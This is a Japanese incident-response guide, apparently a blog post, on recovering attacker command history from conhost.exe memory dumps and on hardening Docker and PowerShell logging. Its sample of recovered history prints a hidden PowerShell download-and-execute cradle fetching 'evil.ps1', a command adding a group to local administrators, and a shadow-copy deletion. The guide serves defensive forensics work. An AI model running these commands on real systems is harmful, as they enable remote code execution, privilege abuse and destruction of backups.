【実務・中級編】 メモリ上のコマンド履歴(Console Host History)の復元 – インシデントレスポンス & フォレンジック(DFIR)防御ガイド

おい、手を休めてこっちをくれ。
先週、某クライアントのEDRから「不審なPowerShellの実行検知」が飛んできた件、覚えているか? 結局、初期侵入からのラテラルムーブメント(横展開)を許し、ドメインコントローラーの手前まで足場を固められていたあのインシデントだ。

あの時、攻撃者が踏み台サーバー上で何を叩いたか、ディスク上のログ(PowerShellのScript Block Loggingなど)は巧妙にバイパスまたはクリアされていた。だが、奴らが忘れていた「致命的な盲点」があった。それが今回解説する、メモリ上のコマンド履歴(conhost.exe のConsole Host History)だ。

インシデントレスポンスの現場において、ディスクは嘘をつくが、生きたメモリ(RAM)は真実を語る。今回は、攻撃者がコマンドプロンプトやPowerShellを叩いた痕跡をメモリから根こそぎサルベージする手法と、そもそもそんなフォレンジックをさせないための「現代的な要塞化の作法」について、俺のナレッジを叩き込んでおこう。

—

1. 攻撃者の足跡:なぜ conhost.exe のメモリが狙われるのか?

システム管理者やセキュリティエンジニアなら、cmd.exe や PowerShell.exe のログ監視に気を配っているはずだ。しかし、攻撃者も一枚上手で、ログの無効化、イベントログのクリア、あるいはメモリ上でのインジェクションなど、足跡を消すための工作を平然と行ってくる。

ここで重要になるのが、Windowsのコンソールウィンドウを管理するプロセス conhost.exe の存在だ。
ユーザーが cmd.exe や PowerShell を立ち上げてコマンドを打つと、その入力履歴(Console Host History)は、conhost.exe のヒープメモリ領域にプレーンテキスト(またはUTF-16)の形でキャッシュとして保持される。

攻撃者がどれだけ華麗にディスク上の痕跡を消し去ろうとも、セッションが生きている間、あるいはメモリダンプが採取されるまでの間、彼らが焦って打ち込んだ net user や mimikatz の実行コマンドは、conhost.exe のメモリ空間のどこかに無残に残り続ける。私たちDFIRアナリストは、ここを突く。

—

2. フォレンジック実務:メモリからコマンド履歴を復元する

現場では、ライブレスポンスツール(LiME、DumpIt、WinPmemなど)を用いて対象マシンのメモリダンプを採取し、解析用ワークステーションに持ち帰る。

Pythonを用いた解析スクリプトの自作も有効だが、実務では Volatility 3 などのフレームワークや、専用のストリングス抽出を組み合わせて効率的に炙り出す。
例えば、ダンプされたメモリイメージから conhost.exe のプロセスを特定し、そのヒープ領域に対して特定のパターンマッチングやキーワード検索(cmd.exe, powershell, net view など)をかけることで、以下のようなコマンド履歴の断片をいとも簡単に復元できる。

[!] 復元されたコマンド履歴のサンプル(イメージ)
> powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/evil.ps1')"
> net localgroup administrators DomainAdmins /add
> vssadmin delete shadows /all /quiet

攻撃者は「ログに残さなければバレない」と錯覚しているが、OSのアーキテクチャ上、文字を描画し管理するためのバッファが存在する限り、メモリフォレンジックの網からは逃れられないのだ。

—

3. 防御側の要塞化:インシデントを「未然に防ぐ」ための設計と設定

さて、フォレンジックの技術を知ることは重要だが、私たちの本来の目的は「不正アクセスを未然に防ぎ、インシデントの発生回数そのものをゼロに近づけること」だ。

では、開発者やインフラエンジニアとして、このメモリ上の履歴汚染や、そもそもそこまで踏み込まれるリスクをどう軽減すべきか。
ポイントは、「不要なシェルアクセスの排除」「EDRやロギングの強制的常時有効化」「最小権限の原則の徹底」だ。

特に、WebアプリケーションやAPIサーバーの脆弱性を突かれ、そこからリバースシェルを取られた場合を想定してほしい。アプリケーションランタイム(PHPやNode.js、Pythonなど)から不審な子プロセス(cmd.exeやshなど)がポップアップすること自体が、設計上の敗北だ。

実装・設定サンプル:堅牢なインフラストラクチャの構築

ここでは、インフラレベルおよびアプリケーションレベルでの防御・監査設定の具体例を示そう。

A. Linux/Docker環境における安全なプロセス実行・権限分離(Docker Compose設定例)

WebアプリケーションからOSコマンドが実行されるリスクを絶つため、コンテナは必ず非特権ユーザー(Non-root)で動かし、必要最小限のバイナリしかコンテナ内に残さない(マルチステージビルドの徹底)のが鉄則だ。

version: '3.8'

services:
  web_application:
    image: my-secure-app:latest
    # 【重要】コンテナ内でroot権限を持たせないことで、侵害後のシェル取得や特権昇格の難易度を跳ね上げる
    user: "1000:1000"
    read_only: true # ルートファイルシステムを読み取り専用にし、悪意あるペイロードの書き込みを阻止
    tmpfs:
      - /tmp:size=100M # 一時ファイル領域のみ書き込み許可
    security_opt:
      - no-new-privileges:true # プロセスが追加の特権を獲得することをシステムコールレベルで禁止
    environment:
      - APP_ENV=production
    networks:
      - secure_internal

networks:
  secure_internal:
    driver: bridge

B. Windows環境における PowerShell / ログ監査の強化(GPO設定の思想)

もしWindows Serverを運用しているなら、PowerShellの「Script Block Logging」と「Transcription」を必ずGPO(グループポリシー)で強制有効化し、ローカルのログ領域だけでなく、即座にSIEMへ転送するアーキテクチャを組むこと。メモリフォレンジック頼みになる前に、イベントログの改ざん不可能な中央集約を実現しておくべきだ。

# 【管理者向け】PowerShellの高度な監査をレジストリ経由で強制有効化するイメージ
# (本番環境へ適用する際はGPOを使用することを強く推奨します)

$RegistryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell"

# スクリプトブロックのロギングを有効化
if (-not (Test-Path "$RegistryPath\ScriptBlockLogging")) {
    New-Item -Path "$RegistryPath\ScriptBlockLogging" -Force | Out-Null
}
Set-ItemProperty -Path "$RegistryPath\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# トランスクリプション(入出力の全記録)を特定の安全な共有フォルダへ強制保存
if (-not (Test-Path "$RegistryPath\Transcription")) {
    New-Item -Path "$RegistryPath\Transcription" -Force | Out-Null
}
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "OutputDirectory" -Value "C:\SecuredLogShare\PowerShellTranscripts"
Set-ItemProperty -Path "$RegistryPath\Transcription" -Name "IncludeInvocationHeader" -Value 1

—

チーフからのメッセージ

メモリ上のコマンド履歴の復元は、私たちDFIRチームにとって、隠された真実を暴くための強力な武器だ。しかし、この手法が必要になるということは、すでに「ネットワークやエンドポイントの初期防衛線が突破された」という痛ましい事実を意味している。

君たちがシステムを設計し、コードを書くときには、常に「もしこのサーバーが踏み台にされたら、攻撃者は次にどう動くか」を逆算してほしい。不要なシェル実行パスを削り、権限を絞り、ログが隠滅されない泥臭い仕組みを作り込む。その積み重ねこそが、真に強靭なシステムを生み出す唯一の道だ。

さて、コーヒーを飲み終えたら、先週のログ解析の続きに戻るとしよう。手を動かせ、時間は待ってくれない。

コメント

タイトルとURLをコピーしました